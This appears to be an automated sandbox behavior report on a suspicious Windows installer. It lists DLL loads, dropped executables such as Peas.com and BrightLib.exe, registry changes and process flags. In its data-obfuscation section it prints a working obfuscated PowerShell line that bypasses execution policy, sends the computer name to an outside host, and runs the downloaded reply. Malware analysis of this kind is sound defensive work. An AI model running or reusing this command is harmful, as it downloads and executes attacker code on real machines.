Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: twinui.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: shdocvw.dll

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: installer_1.05_36.7.exe

Static file information: File size 1139689 > 1048576

Source: installer_1.05_36.7.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: wntdll.pdbUGP source: BrightLib.exe, 00000031.00000002.2494256387.0000000038740000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.2472421474.00000000037A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: BrightLib.exe, 00000031.00000002.2494256387.0000000038740000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.2472421474.00000000037A4000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1			Jump to behavior

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp.21.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29
Source: installer_1.05_36.7.exe	Static PE information: real checksum: 0x123038 should be: 0x119929
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe.12.dr	Static PE information: real checksum: 0x9307ce should be: 0x8615ed
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp.19.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29

Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe.12.dr	Static PE information: section name: .didata
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp.19.dr	Static PE information: section name: .didata
Source: P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp.21.dr	Static PE information: section name: .didata

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	File created: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	File created: C:\Users\user\AppData\Local\Temp\is-NIMP8.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	File created: C:\Users\user\AppData\Roaming\ColorStreamLib\is-U83DO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	File created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	File created: C:\Users\user\AppData\Local\Temp\is-E6KS7.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	File created: C:\Users\user\AppData\Local\Temp\is-E6KS7.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	File created: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe	File created: C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp	File created: C:\Users\user\AppData\Local\Temp\is-NIMP8.tmp\_isetup\_setup64.tmp	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
